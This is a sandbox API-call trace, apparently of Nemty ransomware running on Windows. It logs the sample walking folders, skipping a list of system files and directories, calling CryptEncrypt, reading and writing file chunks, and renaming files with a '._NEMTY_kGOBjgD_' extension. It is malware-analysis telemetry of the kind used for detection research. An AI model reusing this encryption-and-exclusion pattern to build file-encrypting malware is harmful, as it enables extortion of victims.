lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.441] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.442] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.451] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.451] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.464] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.464] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.474] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.474] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.493] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.512] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.512] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.521] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.521] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.537] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0090.543] CloseHandle (hObject=0xffffffff) returned 0 [0090.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0090.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0090.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0090.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0090.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0090.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0090.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0090.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0090.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0090.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0090.544] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv._nemty_kgobjgd_")) returned 0 [0090.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0090.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0090.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0090.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0090.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0090.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0090.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0090.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0090.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0090.544] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71deeca7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71deeca7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50add351, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x189f26, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="SportsMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0090.544] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2=".") returned 1 [0090.544] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="..") returned 1 [0090.544] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="...") returned 1 [0090.544] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="windows") returned -1 [0090.544] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0090.544] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="rsa") returned 1 [0090.544] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="NTDETECT.COM") returned 1 [0090.544] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="ntldr") returned 1 [0090.544] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0090.544] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="IO.SYS") returned 1 [0090.544] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="boot.ini") returned 1 [0090.544] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="boot.ini") returned 1 [0090.544] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0090.544] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="ntuser.dat") returned 1 [0090.545] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="desktop.ini") returned 1 [0090.545] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0090.545] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="RECYCLER") returned 1 [0090.545] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0090.545] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="bootmgr") returned 1 [0090.545] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="programdata") returned 1 [0090.545] lstrcmpiW (lpString1="SportsMainToScenesBackground_PAL.wmv", lpString2="appdata") returned 1 [0090.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0090.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0090.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0090.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainToScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 36 [0090.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0090.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94338 [0090.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0090.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0090.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainToScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 36 [0090.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0090.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0090.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0090.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0090.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0090.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0090.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainToScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 36 [0090.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0090.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0090.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0090.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0090.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainToScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 36 [0090.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0090.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94338 [0090.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0090.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0090.546] Sleep (dwMilliseconds=0x5) [0090.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe99f5290, dwHighDateTime=0x1d561e7)) [0090.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe99f5290, dwHighDateTime=0x1d561e7)) [0090.556] GetLastError () returned 0x5 [0090.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.556] GetLastError () returned 0x5 [0090.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0090.556] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0090.556] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0090.556] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0090.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0090.556] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="KFn5OrAXYfvt/p4AlcnyT10/dhMx/bg0pV9taSKV2gcDAt7uk323U8pSjnj0Pspn\r\nrU8J07gFmeb003roVReT6lhvhxHUtr/NKJ+bdhbYmo27lFnDHxHMpKvyK+nquvC7\r\nG/GckLBJazYtPS/7ak+7Sh0xPC2CYemg5/UE/zgRI3wRSuOiRN5CR5ntX+Cwa1qh\r\nTUyfn8Qktrm0jHEyECw9Sf0J08KQ9gn2GSHziAiwXyfjqVA/pUk0Cad9BXstpt21\r\nYUnmt/zrySxH56o8E0amS27HUUVOzAW9HCCc0JgUcv8Lpee1cQEcmF64BHsJ9oza\r\nyKx6Wii3LHPnJQXWBrD5Ng==\r\n", pcchString=0x653e91c) returned 1 [0090.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0090.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0090.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0090.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0090.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0090.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0090.557] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.557] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0090.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0090.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.557] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.566] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.566] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.576] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.576] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 